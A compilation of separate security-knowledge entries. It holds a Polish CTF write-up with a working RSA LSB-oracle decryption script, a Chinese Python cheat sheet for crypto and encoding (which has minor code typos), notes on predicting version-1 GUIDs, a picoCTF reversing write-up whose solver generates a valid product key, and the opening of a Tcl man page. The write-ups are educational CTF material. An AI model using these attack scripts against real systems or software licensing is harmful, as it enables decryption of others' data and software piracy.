Modulus `n` jest iloczynem 2 dużych liczb pierwszych więc musi być nieparzysty.
`2*x` musi być parzyste.
To oznacza, że jeśli LSB `2*x mod n` jest 0 (liczba nadal jest parzysta) to liczba musiała być mniejsza od `n`.
W innym wypadku liczba była większa od `n`.
Możemy to uogólnić i użyć szukania binarnego, aby uzyskać dolne i górne ograniczenie dla flagi, względem `n`.
Wykorzystaliśmy do tego skrypt (trochę bardziej dokładny od tego z Rabit, który psuł ostatni znak):
```python
from subprocess import Popen, PIPE
from Crypto.Util.number import long_to_bytes
def oracle(ciphertext):
print("sent ciphertext " + str(ciphertext))
p = Popen(['lsb_oracle.vmp.exe', '/decrypt'], stdout=PIPE, stdin=PIPE, stderr=PIPE)
result = p.communicate(str(ciphertext) + "\n-1")
lsb = int(result[0][97])
print(lsb, result)
return lsb
def brute_flag(encrypted_flag, n, e, oracle_fun):
flag_count = n_count = 1
flag_lower_bound = 0
flag_upper_bound = n
ciphertext = encrypted_flag
mult = 1
while flag_upper_bound > flag_lower_bound + 1:
ciphertext = (ciphertext * pow(2, e, n)) % n
flag_count *= 2
n_count = n_count * 2 - 1
print("upper = %d" % flag_upper_bound)
print("upper flag = %s" % long_to_bytes(flag_upper_bound))
print("lower = %d" % flag_lower_bound)
print("lower flag = %s" % long_to_bytes(flag_lower_bound))
print("bit = %d" % mult)
mult += 1
if oracle_fun(ciphertext) == 0:
flag_upper_bound = n * n_count / flag_count
else:
flag_lower_bound = n * n_count / flag_count
n_count += 1
return flag_upper_bound
def main():
n = 120357855677795403326899325832599223460081551820351966764960386843755808156627131345464795713923271678835256422889567749230248389850643801263972231981347496433824450373318688699355320061986161918732508402417281836789242987168090513784426195519707785324458125521673657185406738054328228404365636320530340758959
ct = 2201077887205099886799419505257984908140690335465327695978150425602737431754769971309809434546937184700758848191008699273369652758836177602723960420562062515168299835193154932988833308912059796574355781073624762083196012981428684386588839182461902362533633141657081892129830969230482783192049720588548332813
print(long_to_bytes(brute_flag(ct, n, 65537, oracle)))
main()
```
I po chwili dostaliśmy flagę: `SharifCTF{65d7551577a6a613c99c2b4023039b0a}`
Niestety flaga była na samym końcu plaintextu więc musieliśmy czekać na całe 1024 bity.
|
sec-knowleage
|
# Python101
---
## 加解密
**HASH**
```py
import hashlib
# md5, sha1, sha224, sha256, sha384, sha512
s = 'hello world'
m = hashlib.md5()
m.update(s.encode('utf8'))
print(m.digest())
print(m.hexdigest())
# ripemd160, whirlpool
s = 'hello world'
m = hashlib.new('ripemd160', s.encode('utf8'))
print(m.digest())
print(m.hexdigest())
```
**RSA gmpy2**
```py
import gmpy2
p = 168870409632549765296862502254899759857248288652407554850383477768823119986297924033151555409082356346297282197467254809081931208549224155851315637344747298357415893525472097154103238042019866682938382139834279447488738548244853184293595933654527554670457923545588565351501521501815389298997833861578226633099
q = 136505636991931352215759862754723380107419404176934963805672183755717752956589135238497377957828097441347957566489629211243389022288160648357324629288547621047463026266886900467398707294913322326802718447765393605735412855505214780439471729354761056917299208670362196028628829497574575055117449119342100056517
e = 65537
n = p * q
fn = (p - 1) * (q - 1)
d = gmpy2.invert(e, fn)
# encode
plain = "hello world"
cipher = gmpy2.powmod(int(plain.hex(),16), e, n)
print cipher
# decode
cipher = 17123126358168532314364171789745947147158203528255189528376034042576955961464108007241396193221317579386199055678187296416631757350036173529280264692509105557539380445658352098757386832691606291403716717255406122398828996166165137869000756490419628668837727171987655840934249710275220041791912411702429566338522067039808551028470065040909781794268938955092150084715883613062506445552253043511850366325327543440113474870896494812927181373067664361593089869517445577240126156141735331979758927134194252186254770372018574046630061371952143328299376196926784339615150604268752279279335534713614030849861471450015448322452
plaint = gmpy2.powmod(cipher, d, n)
s = '%x' % plaint
if len(s) % 2 != 0:
s = '0' + s
print(s)
```
---
## 编码
**中文转十六进制**
```py
>>> '测试'.encode('utf-8')
b'\xe6\xb5\x8b\xe8\xaf\x95'
```
**字节数组与十六进制**
```py
# 字节数组
byte = b'\x01\x02\x03\x04\x05\x06\x07\x08'
byte = b'hello world'
# 十六进制
h = 0x01020304
# 字符串 -> 字节数组
s = 'hello world'
hb = s.encode('utf8')
# 字节数组 -> 字符串
hb = b'\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64'
s = hb.decode('utf8')
```
**二进制格式转换**
`[0xab, 0xbc, 0xcd, 0xde] -> '\xab\xbc\xcd\xde'`
```py
s = [0xab, 0xbc, 0xcd, 0xef]
print(bytes(s))
```
`'\xde\xad\xbe\xef' -> [222, 173, 190, 239]`
```py
s = '\xde\xad\xbe\xef'
res = list(s)
# res [222, 173, 190, 239]
```
`'\xab\xbc\xcd\xde' -> 'abbccdde'`
```py
s = '\xab\xbc\xcd\xde'
res = binascii.hexlify(s)
# res = abbccdde
```
`'aabbccdd' -> '\xaa\xbb\xcc\xdd'`
```py
s = 'aabbccdd'
res = binasicc.unhexlify(s)
# res = \xaa\xbb\xcc\xdd
```
`'\xde\xad\xbe\xef' -> 0xdeadbeef`
```py
s = '\xde\xad\xbe\xef'
res = int.from_bytes(s, 'big')
# res = 0xdeadbeef
```
`0xdeadbeef -> '\xde\xad\xbe\xef'`
```py
s = 0xdeadbeef
print(int.to_bytes(s, 4, 'big'))
```
**ASCII 转 HEX**
```py
import binascii
s = b'fmcd\IRWOCEHRG[OYS[Uh'
print(binascii.b2a_hex(s))
```
```py
import codecs
codecs.encode(b"c", "hex")
```
**HEX 转 ASCII**
```py
import codecs
codecs.decode("7061756c", "hex")
```
**base64 编解码**
```py
import base64
>>> base64.b64encode(b'binary\x00string')
b'YmluYXJ5AHN0cmluZw=='
>>> base64.b64decode(b'YmluYXJ5AHN0cmluZw==')
b'binary\x00string'
```
**url safe 的 base64 编解码**
```py
>>> base64.b64encode(b'i\xb7\x1d\xfb\xef\xff')
b'abcd++//'
>>> base64.urlsafe_b64encode(b'i\xb7\x1d\xfb\xef\xff')
b'abcd--__'
>>> base64.urlsafe_b64decode('abcd--__')
b'i\xb7\x1d\xfb\xef\xff'
```
**base64 换表**
```py
import base64
str1 = "Wj1gWE9xPSGUQ0KCPCGET09WR1qSzZ==" #str1是要解密的代码
string1 = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/" #string1是改过之后的base64表
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
```
---
## 数值转换
```py
# 字符 -> 十进制
>>> s = 'a'
>>> d = ord(s)
97
# 十进制 -> 字符
>>> d = 97
>>> s = chr(d)
'a'
# 十进制 -> 十六进制
>>> d = 123456
>>> h = hex(d)
'0x1e240'
# 十进制 -> 二进制
>>> d = 123456
>>> b = bin(d)
'0b11110001001000000'
# 十六进制 -> 十进制
>>> h = '1e240'
>>> d = int(h, 16)
123456
>>> h = 0x1e240
>>> print(h)
123456
# 十六进制 -> 二进制
>>> h = 0x1e240
>>> b = bin(h)
'0b11110001001000000'
# 二进制 -> 十进制
>>> b = '11110001001000000'
>>> d = int(b, 2)
123456
>>> b = 0b11110001001000000
>>> print(b)
123456
# 二进制 -> 十六进制
>>> b = 0b11110001001000000
>>> h = hex(b)
'0x1e240'
```
---
## 字符串转换
```py
# 字符串 -> 十六进制字符串
# Python2
>>> s = "hello world"
>>> hs = s.encode('hex')
'68656c6c6f20776f726c64'
# Python3
>>> s = 'hello world'.encode('utf8')
>>> hs = s.hex()
'68656c6c6f20776f726c64'
>>> hs = binascii.hexlify(s)
b'68656c6c6f20776f726c64'
# 字符串 -> 十进制字符串
>>> s = "hello world"
>>> ds = ' '.join(['{:d}'.format(ord(c)) for c in s])
'104 101 108 108 111 32 119 111 114 108 100'
# 字符串 -> 二进制字符串
>>> s = "hello world"
bs = ' '.join(['{0:08b}'.format(ord(c)) for c in s])
'01101000 01100101 01101100 01101100 01101111 00100000 01110111 01101111 01110010 01101100 01100100'
# 十六进制字符串 -> 字符串
# Python2
>>> hs = '68656c6c6f20776f726c64'
>>> s = hs.decode('hex')
'hello world'
# Python3
>>> hs = '68656c6c6f20776f726c64'
>>> s = bytes.fromhex(hs)
b'hello world'
# 十六进制字符串 -> 十进制字符串
# Python2
>>> hs = '68656c6c6f20776f726c64'
>>> ds = ' '.join(['%d' % int(hs[x*2:x*2+2], 16) for x in range(len(hs)/2)])
'104 101 108 108 111 32 119 111 114 108 100'
# Python3
>>> hs = '68656c6c6f20776f726c64'
>>> ds = ' '.join(['%d' % int(hs[x*2:x*2+2], 16) for x in range(math.floor(len(hs)/2))])
'104 101 108 108 111 32 119 111 114 108 100'
>>> hs = '68 65 6c 6c 6f 20 77 6f 72 6c 64'
>>> ds = ' '.join(['%d' % int(x, 16) for x in hs.split(' ')])
'104 101 108 108 111 32 119 111 114 108 100'
# 十六进制字符串 -> 二进制字符串
# Python2
>>> hs = '68656c6c6f20776f726c64'
>>> bs = ' '.join(['{0:08b}'.format(int(hs[x*2:x*2+2], 16)) for x in range(len(hs)/2)])
'01101000 01100101 01101100 01101100 01101111 00100000 01110111 01101111 01110010 01101100 01100100'
# Python3
>>> hs = '68656c6c6f20776f726c64'
>>> bs = ' '.join(['{0:08b}'.format(int(hs[x*2:x*2+2], 16)) for x in range(math.floor(len(hs)/2))])
'01101000 01100101 01101100 01101100 01101111 00100000 01110111 01101111 01110010 01101100 01100100'
>>> hs = '68 65 6c 6c 6f 20 77 6f 72 6c 64'
>>> bs = ' '.join(['{0:08b}'.format(int(x, 16)) for x in hs.split(' ')])
'01101000 01100101 01101100 01101100 01101111 00100000 01110111 01101111 01110010 01101100 01100100'
# 十进制字符串 -> 字符串
>>> ds = '104 101 108 108 111 32 119 111 114 108 100'
>>> s = ''.join([chr(int(x)) for x in ds.split(' ')])
'hello world'
# 十进制字符串 -> 十六进制字符串
>>> ds = '104 101 108 108 111 32 119 111 114 108 100'
>>> hs = ''.join(['%02x' % int(x) for x in ds.split(' ')])
'68656c6c6f20776f726c64'
# 十进制字符串 -> 二进制字符串
>>> ds = '104 101 108 108 111 32 119 111 114 108 100'
>>> hs = ' '.join(['{0:08b}'.format(int(x)) for x in ds.split(' ')])
'01101000 01100101 01101100 01101100 01101111 00100000 01110111 01101111 01110010 01101100 01100100'
# 二进制字符串 -> 字符串
>>> bs = '01101000 01100101 01101100 01101100 01101111 00100000 01110111 01101111 01110010 01101100 01100100'
>>> s = ''.join([chr(int(x, 2)) for x in bs.split(' ')])
'hello world'
# 二进制字符串 -> 十六进制字符串
>>> bs = '01101000 01100101 01101100 01101100 01101111 00100000 01110111 01101111 01110010 01101100 01100100'
>>> hs = ''.join(['%02x' % int(x, 2) for x in bs.split(' ')])
'68656c6c6f20776f726c64'
# Python2
>>> bs = '0110100001100101011011000110110001101111001000000111011101101111011100100110110001100100'
>>> hs = ''.join(['%02x' % int(bs[i*8:i*8+8], 2) for i in range(len(bs)/8)])
'68656c6c6f20776f726c64'
# Python3
>>> bs = '0110100001100101011011000110110001101111001000000111011101101111011100100110110001100100'
>>> hs = ''.join(['%02x' % int(bs[i*8:i*8+8], 2) for i in range(math.floor(len(bs)/8))])
'68656c6c6f20776f726c64'
# 二进制字符串 -> 十进制字符串
>>> bs = '01101000 01100101 01101100 01101100 01101111 00100000 01110111 01101111 01110010 01101100 01100100'
>>> ds = ' '.join(['%d' % int(x, 2) for x in bs.split(' ')])
'104 101 108 108 111 32 119 111 114 108 100'
# Python2
>>> bs = '0110100001100101011011000110110001101111001000000111011101101111011100100110110001100100'
>>> hs = ' '.join(['%d' % int(bs[i*8:i*8+8], 2) for i in range(len(bs)/8)])
'104 101 108 108 111 32 119 111 114 108 100'
# Python3
>>> bs = '0110100001100101011011000110110001101111001000000111011101101111011100100110110001100100'
>>> hs = ' '.join(['%d' % int(bs[i*8:i*8+8], 2) for i in range(math.floor(len(bs)/8))])
'104 101 108 108 111 32 119 111 114 108 100'
```
---
## 字符串处理
**每个字符减 1**
```py
string=bytearray(b"gmbh|ZPV`GJOE`JU`IBIB~")
for i in range(len(string)):
string[i]-=1;
print(string)
```
**数组中每个字符与自身位数异或**
```py
data=[0x66,0x6D,0x63,0x64,0x7F,0x5C,0x49,0x52,0x57,0x4F,0x43,0x45,0x48,0x52,0x47,0x5B,0x4F,0x59,0x53,0x5B,0x55,0x68]
for i in range(len(data)):
data[i]^=i
print(bytearray(data))
```
**十六进制不带 0x 补零 (ASCII 字节类型)**
```py
arr = [0x4B, 0x43, 0x09, 0xA1, 0x01, 0x02, 0xAB, 0x4A, 0x43]
def print_bytes_hex(data):
lin = ['%02X' % i for i in data]
print(" ".join(lin))
print_bytes_hex(arr)
```
**十六进制不带 0x 补零 (字符串类型)**
```py
arr = 'Work'
def print_string_hex(data):
lin = ['%02X' % ord(i) for i in data]
print(" ".join(lin))
print_string_hex(arr)
```
**字符串反转**
```py
str='test123'
print(str[::-1])
```
---
## 声音
```py
print("\a")
```
**windows**
```py
import winsound
duration = 1000 # millisecond
freq = 440 # Hz
winsound.Beep(freq, duration)
# FREQ是频率(以赫兹为单位),而持续时间是毫秒(毫秒)。
```
**linux**
```bash
apt install speech-dispatcher
```
```py
import os
os.system('spd-say "your program has finished"')
```
```bash
apt install sox
```
```py
import os
duration = 1 # second
freq = 440 # Hz
os.system('play --no-show-progress --null --channels 1 synth %s sine %f' % (duration, freq))
```
---
## 执行系统命令
**os**
```py
import os
os.system("whoami")
```
```py
import os
nowtime = os.popen('whoami')
print(nowtime.read())
```
**commands**
```py
import commands
status, output = commands.getstatusoutput('date')
print(output)
```
---
## 延时
**sleep()**
```py
time.sleep(1) # 延时1秒
```
---
## 时间戳
**time()**
> time() 返回当前时间的时间戳(1970纪元后经过的浮点秒数)。
```py
print(time.time())
```
---
## 输出
**python字符串去掉前缀b**
需要去掉字符串的前缀b,只需要进行utf-8的转换即可,即
```py
data = data.decode(“utf-8”).
```
---
## 安全脚本
**写 python 目录遍历 POC 时遇到的问题**
- https://mazinahmed.net/blog/testing-for-path-traversal-with-python/
---
## Docker Engine SDK
```bash
pip3 install docker
```
**运行一个容器,并执行容器中的一个命令**
```py
import docker
client = docker.from_env()
r = client.containers.run("alpine", ["echo", "hello", "world"])
print(str(r, encoding='utf-8'))
```
**列出所有镜像**
```py
import docker
client = docker.from_env()
for image in client.images.list():
print(image.id)
```
---
## mysql
```bash
pip3 install PyMySQL
```
**连接 Mysql 的 TESTDB 数据库**
```py
#!/usr/bin/python3
import pymysql
# 打开数据库连接
db = pymysql.connect(host='localhost',
user='testuser',
password='test123',
database='TESTDB')
# 使用 cursor() 方法创建一个游标对象 cursor
cursor = db.cursor()
# 使用 execute() 方法执行 SQL 查询
cursor.execute("SELECT VERSION()")
# 使用 fetchone() 方法获取单条数据.
data = cursor.fetchone()
print ("Database version : %s " % data)
# 关闭数据库连接
db.close()
```
**创建数据库表**
```py
#!/usr/bin/python3
import pymysql
# 打开数据库连接
db = pymysql.connect(host='localhost',
user='testuser',
password='test123',
database='TESTDB')
# 使用 cursor() 方法创建一个游标对象 cursor
cursor = db.cursor()
# 使用 execute() 方法执行 SQL,如果表存在则删除
cursor.execute("DROP TABLE IF EXISTS EMPLOYEE")
# 使用预处理语句创建表
sql = """CREATE TABLE EMPLOYEE (
FIRST_NAME CHAR(20) NOT NULL,
LAST_NAME CHAR(20),
AGE INT,
SEX CHAR(1),
INCOME FLOAT )"""
cursor.execute(sql)
# 关闭数据库连接
db.close()
```
---
## oss2
- https://help.aliyun.com/document_detail/32027.html
**创建examplebucket存储空间**
```py
# -*- coding: utf-8 -*-
import oss2
# 阿里云账号AccessKey拥有所有API的访问权限,风险很高。强烈建议您创建并使用RAM用户进行API访问或日常运维,请登录RAM控制台创建RAM用户。
auth = oss2.Auth('<yourAccessKeyId>', '<yourAccessKeySecret>')
# Endpoint以杭州为例,其它Region请按实际情况填写。
bucket = oss2.Bucket(auth, 'http://oss-cn-hangzhou.aliyuncs.com', '<yourBucketName>')
# 设置存储空间为私有读写权限。
bucket.create_bucket(oss2.models.BUCKET_ACL_PRIVATE)
```
**上传文件**
```py
# -*- coding: utf-8 -*-
import oss2
# 阿里云账号AccessKey拥有所有API的访问权限,风险很高。强烈建议您创建并使用RAM用户进行API访问或日常运维,请登录RAM控制台创建RAM用户。
auth = oss2.Auth('<yourAccessKeyId>', '<yourAccessKeySecret>')
# Endpoint以杭州为例,其它Region请按实际情况填写。
bucket = oss2.Bucket(auth, 'http://oss-cn-hangzhou.aliyuncs.com', '<yourBucketName>')
# 上传文件到OSS。
# <yourObjectName>由包含文件后缀,不包含Bucket名称组成的Object完整路径,例如abc/efg/123.jpg。
# <yourLocalFile>由本地文件路径加文件名包括后缀组成,例如/users/local/myfile.txt。
bucket.put_object_from_file('<yourObjectName>', '<yourLocalFile>')
```
|
sec-knowleage
|
# Insecure Randomness
## Summary
* [GUID / UUID](#guid--uuid)
* [GUID Versions](#guid-versions)
* [Tools](#tools)
* [References](#references)
## GUID / UUID
### GUID Versions
Version identification: `xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx`
The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.
| Version | Notes |
|----------|--------|
| 0 | Only `00000000-0000-0000-0000-000000000000` |
| 1 | based on time, or clock sequence |
| 2 | reserved in the RFC 4122, but ommitted in many implementations |
| 3 | based on a MD5 hash |
| 4 | randomly generated |
| 5 | based on a SHA1 hash |
### Tools
* [intruder-io/guidtool](https://github.com/intruder-io/guidtool) - A tool to inspect and attack version 1 GUIDs
```ps1
$ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00
UUID version: 1
UUID time: 2022-04-13 08:06:13.202186
UUID timestamp: 138691299732021860
UUID node: 91754721024
UUID MAC address: 00:15:5d:01:ef:00
UUID clock sequence: 2099
$ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
```
### References
* [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust)
|
sec-knowleage
|
# keygen-me-2
Reversing, 750 points
## Description:
> The software has been updated. Can you find us a new product key for the program?
A binary file was attached.
## Solution:
Inspecting the executable with Radare2 reveals that the program accepts the key only if a set of 12 constraints is met:
```assembly
[0x08048500]> s sym.validate_key
[0x08048cb7]> pdf
/ (fcn) sym.validate_key 325
| sym.validate_key (int arg_8h);
| ; var int local_ch @ ebp-0xc
| ; arg int arg_8h @ ebp+0x8
| ; CALL XREF from main (0x8048e78)
| 0x08048cb7 55 push ebp
| 0x08048cb8 89e5 mov ebp, esp
| 0x08048cba 83ec18 sub esp, 0x18
| 0x08048cbd 83ec0c sub esp, 0xc
| 0x08048cc0 ff7508 push dword [arg_8h]
| 0x08048cc3 e8e8f7ffff call sym.imp.strlen ; size_t strlen(const char *s)
| 0x08048cc8 83c410 add esp, 0x10
| 0x08048ccb 8945f4 mov dword [local_ch], eax
| 0x08048cce 8b45f4 mov eax, dword [local_ch]
| 0x08048cd1 83ec08 sub esp, 8
| 0x08048cd4 50 push eax
| 0x08048cd5 ff7508 push dword [arg_8h]
| 0x08048cd8 e8b9faffff call sym.key_constraint_01
| 0x08048cdd 83c410 add esp, 0x10
| 0x08048ce0 84c0 test al, al
| ,=< 0x08048ce2 0f840d010000 je 0x8048df5
| | 0x08048ce8 8b45f4 mov eax, dword [local_ch]
| | 0x08048ceb 83ec08 sub esp, 8
| | 0x08048cee 50 push eax
| | 0x08048cef ff7508 push dword [arg_8h]
| | 0x08048cf2 e8f4faffff call sym.key_constraint_02
| | 0x08048cf7 83c410 add esp, 0x10
| | 0x08048cfa 84c0 test al, al
| ,==< 0x08048cfc 0f84f3000000 je 0x8048df5
| || 0x08048d02 8b45f4 mov eax, dword [local_ch]
| || 0x08048d05 83ec08 sub esp, 8
| || 0x08048d08 50 push eax
| || 0x08048d09 ff7508 push dword [arg_8h]
| || 0x08048d0c e832fbffff call sym.key_constraint_03
| || 0x08048d11 83c410 add esp, 0x10
| || 0x08048d14 84c0 test al, al
| ,===< 0x08048d16 0f84d9000000 je 0x8048df5
| ||| 0x08048d1c 8b45f4 mov eax, dword [local_ch]
| ||| 0x08048d1f 83ec08 sub esp, 8
| ||| 0x08048d22 50 push eax
| ||| 0x08048d23 ff7508 push dword [arg_8h]
| ||| 0x08048d26 e86ffbffff call sym.key_constraint_04
| ||| 0x08048d2b 83c410 add esp, 0x10
| ||| 0x08048d2e 84c0 test al, al
| ,====< 0x08048d30 0f84bf000000 je 0x8048df5
| |||| 0x08048d36 8b45f4 mov eax, dword [local_ch]
| |||| 0x08048d39 83ec08 sub esp, 8
| |||| 0x08048d3c 50 push eax
| |||| 0x08048d3d ff7508 push dword [arg_8h]
| |||| 0x08048d40 e8cafbffff call sym.key_constraint_05
| |||| 0x08048d45 83c410 add esp, 0x10
| |||| 0x08048d48 84c0 test al, al
| ,=====< 0x08048d4a 0f84a5000000 je 0x8048df5
| ||||| 0x08048d50 8b45f4 mov eax, dword [local_ch]
| ||||| 0x08048d53 83ec08 sub esp, 8
| ||||| 0x08048d56 50 push eax
| ||||| 0x08048d57 ff7508 push dword [arg_8h]
| ||||| 0x08048d5a e825fcffff call sym.key_constraint_06
| ||||| 0x08048d5f 83c410 add esp, 0x10
| ||||| 0x08048d62 84c0 test al, al
| ,======< 0x08048d64 0f848b000000 je 0x8048df5
| |||||| 0x08048d6a 8b45f4 mov eax, dword [local_ch]
| |||||| 0x08048d6d 83ec08 sub esp, 8
| |||||| 0x08048d70 50 push eax
| |||||| 0x08048d71 ff7508 push dword [arg_8h]
| |||||| 0x08048d74 e880fcffff call sym.key_constraint_07
| |||||| 0x08048d79 83c410 add esp, 0x10
| |||||| 0x08048d7c 84c0 test al, al
| ,=======< 0x08048d7e 7475 je 0x8048df5
| ||||||| 0x08048d80 8b45f4 mov eax, dword [local_ch]
| ||||||| 0x08048d83 83ec08 sub esp, 8
| ||||||| 0x08048d86 50 push eax
| ||||||| 0x08048d87 ff7508 push dword [arg_8h]
| ||||||| 0x08048d8a e8dffcffff call sym.key_constraint_08
| ||||||| 0x08048d8f 83c410 add esp, 0x10
| ||||||| 0x08048d92 84c0 test al, al
| ========< 0x08048d94 745f je 0x8048df5
| ||||||| 0x08048d96 8b45f4 mov eax, dword [local_ch]
| ||||||| 0x08048d99 83ec08 sub esp, 8
| ||||||| 0x08048d9c 50 push eax
| ||||||| 0x08048d9d ff7508 push dword [arg_8h]
| ||||||| 0x08048da0 e83efdffff call sym.key_constraint_09
| ||||||| 0x08048da5 83c410 add esp, 0x10
| ||||||| 0x08048da8 84c0 test al, al
| ========< 0x08048daa 7449 je 0x8048df5
| ||||||| 0x08048dac 8b45f4 mov eax, dword [local_ch]
| ||||||| 0x08048daf 83ec08 sub esp, 8
| ||||||| 0x08048db2 50 push eax
| ||||||| 0x08048db3 ff7508 push dword [arg_8h]
| ||||||| 0x08048db6 e89dfdffff call sym.key_constraint_10
| ||||||| 0x08048dbb 83c410 add esp, 0x10
| ||||||| 0x08048dbe 84c0 test al, al
| ========< 0x08048dc0 7433 je 0x8048df5
| ||||||| 0x08048dc2 8b45f4 mov eax, dword [local_ch]
| ||||||| 0x08048dc5 83ec08 sub esp, 8
| ||||||| 0x08048dc8 50 push eax
| ||||||| 0x08048dc9 ff7508 push dword [arg_8h]
| ||||||| 0x08048dcc e8fcfdffff call sym.key_constraint_11
| ||||||| 0x08048dd1 83c410 add esp, 0x10
| ||||||| 0x08048dd4 84c0 test al, al
| ========< 0x08048dd6 741d je 0x8048df5
| ||||||| 0x08048dd8 8b45f4 mov eax, dword [local_ch]
| ||||||| 0x08048ddb 83ec08 sub esp, 8
| ||||||| 0x08048dde 50 push eax
| ||||||| 0x08048ddf ff7508 push dword [arg_8h]
| ||||||| 0x08048de2 e85bfeffff call sym.key_constraint_12
| ||||||| 0x08048de7 83c410 add esp, 0x10
| ||||||| 0x08048dea 84c0 test al, al
| ========< 0x08048dec 7407 je 0x8048df5
| ||||||| 0x08048dee b801000000 mov eax, 1
| ========< 0x08048df3 eb05 jmp 0x8048dfa
| ```````-> 0x08048df5 b800000000 mov eax, 0
| ; CODE XREF from sym.validate_key (0x8048df3)
| --------> 0x08048dfa c9 leave
\ 0x08048dfb c3 ret
[0x08048cb7]>
```
For example, here is the first constraint:
```assembly
[0x08048796]> pdf
/ (fcn) sym.key_constraint_01 85
| sym.key_constraint_01 (int arg_8h);
| ; var int local_4h @ ebp-0x4
| ; arg int arg_8h @ ebp+0x8
| ; CALL XREF from sym.validate_key (0x8048cd8)
| 0x08048796 55 push ebp
| 0x08048797 89e5 mov ebp, esp
| 0x08048799 53 push ebx
| 0x0804879a 83ec04 sub esp, 4
| 0x0804879d 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
| 0x080487a0 0fb600 movzx eax, byte [eax]
| 0x080487a3 0fbec0 movsx eax, al
| 0x080487a6 83ec0c sub esp, 0xc
| 0x080487a9 50 push eax
| 0x080487aa e809ffffff call sym.ord
| 0x080487af 83c410 add esp, 0x10
| 0x080487b2 0fbed8 movsx ebx, al
| 0x080487b5 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
| 0x080487b8 83c001 add eax, 1
| 0x080487bb 0fb600 movzx eax, byte [eax]
| 0x080487be 0fbec0 movsx eax, al
| 0x080487c1 83ec0c sub esp, 0xc
| 0x080487c4 50 push eax
| 0x080487c5 e8eefeffff call sym.ord
| 0x080487ca 83c410 add esp, 0x10
| 0x080487cd 0fbec0 movsx eax, al
| 0x080487d0 01d8 add eax, ebx
| 0x080487d2 83ec08 sub esp, 8
| 0x080487d5 6a24 push 0x24 ; '$' ; 36
| 0x080487d7 50 push eax
| 0x080487d8 e894ffffff call sym.mod
| 0x080487dd 83c410 add esp, 0x10
| 0x080487e0 83f80e cmp eax, 0xe ; 14
| 0x080487e3 0f94c0 sete al
| 0x080487e6 8b5dfc mov ebx, dword [local_4h]
| 0x080487e9 c9 leave
\ 0x080487ea c3 ret
```
In words, this means that `(ord(key[0]) + ord(key[1])) % 36` need to be equal 14.
Note that `ord` is implemented in the program in a non-standard way.
Translating the whole set of constraints to Python provides the following result:
```python
import string
def ord2(c):
o = ord(c)
if o >= ord('0') and o <= ord('9'):
return o - ord('0')
elif o >= ord('A') and o <= ord('Z'):
return o - ord('7')
raise Exception("Invalid character: '{}'".format(c))
def uninit(k, arr):
for i in arr:
if k[i] == '?':
return True
return False
def c1(k):
if uninit(k, [0, 1]):
return True
return (ord2(k[0]) + ord2(k[1])) % 36 == 14
def c2(k):
if uninit(k, [2, 3]):
return True
return (ord2(k[2]) + ord2(k[3])) % 36 == 24
def c3(k):
if uninit(k, [2, 0]):
return True
return (ord2(k[2]) - ord2(k[0])) % 36 == 6
def c4(k):
if uninit(k, [1, 3, 5]):
return True
return (ord2(k[1]) + ord2(k[3]) + ord2(k[5])) % 36 == 4
def c5(k):
if uninit(k, [2, 4, 6]):
return True
return (ord2(k[2]) + ord2(k[4]) + ord2(k[6])) % 36 == 13
def c6(k):
if uninit(k, [3, 4, 5]):
return True
return (ord2(k[3]) + ord2(k[4]) + ord2(k[5])) % 36 == 22
def c7(k):
if uninit(k, [6, 8, 10]):
return True
return (ord2(k[6]) + ord2(k[8]) + ord2(k[10])) % 36 == 31
def c8(k):
if uninit(k, [1, 4, 7]):
return True
return (ord2(k[1]) + ord2(k[4]) + ord2(k[7])) % 36 == 7
def c9(k):
if uninit(k, [9, 12, 15]):
return True
return (ord2(k[9]) + ord2(k[12]) + ord2(k[15])) % 36 == 20
def c10(k):
if uninit(k, [13, 14, 15]):
return True
return (ord2(k[13]) + ord2(k[14]) + ord2(k[15])) % 36 == 12
def c11(k):
if uninit(k, [8, 9, 10]):
return True
return (ord2(k[8]) + ord2(k[9]) + ord2(k[10])) % 36 == 27
def c12(k):
if uninit(k, [7, 12, 13]):
return True
return (ord2(k[7]) + ord2(k[12]) + ord2(k[13])) % 36 == 23
ALPHA = string.ascii_uppercase + string.digits
def is_safe(k):
for func in [c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11, c12]:
if not func(k):
return False
return True
def try_place(k, index):
if index == 16:
print ("".join(k))
return True
for i in range(len(ALPHA)):
k[index] = ALPHA[i]
if is_safe(k):
if try_place(k, index+1):
return True
k[index] = '?'
return False
k = ['?']*16
try_place(k, 0)
```
The script searches for a result which fulfills all the constrains, and prints it.
The output:
```console
root@kali:/media/sf_CTFs/pico/keygen-me-2# python solve.py
A4G8MSBHA7AAAWD3
```
Using this key:
```console
$ ./activate A4G8MSBHA7AAAWD3
Product Activated Successfully: picoCTF{c0n5tr41nt_50lv1nG_15_W4y_f45t3r_2923966318}
```
The flag: picoCTF{c0n5tr41nt_50lv1nG_15_W4y_f45t3r_2923966318}
|
sec-knowleage
|
'\"
'\" Copyright (c) 1998 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: regexp.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
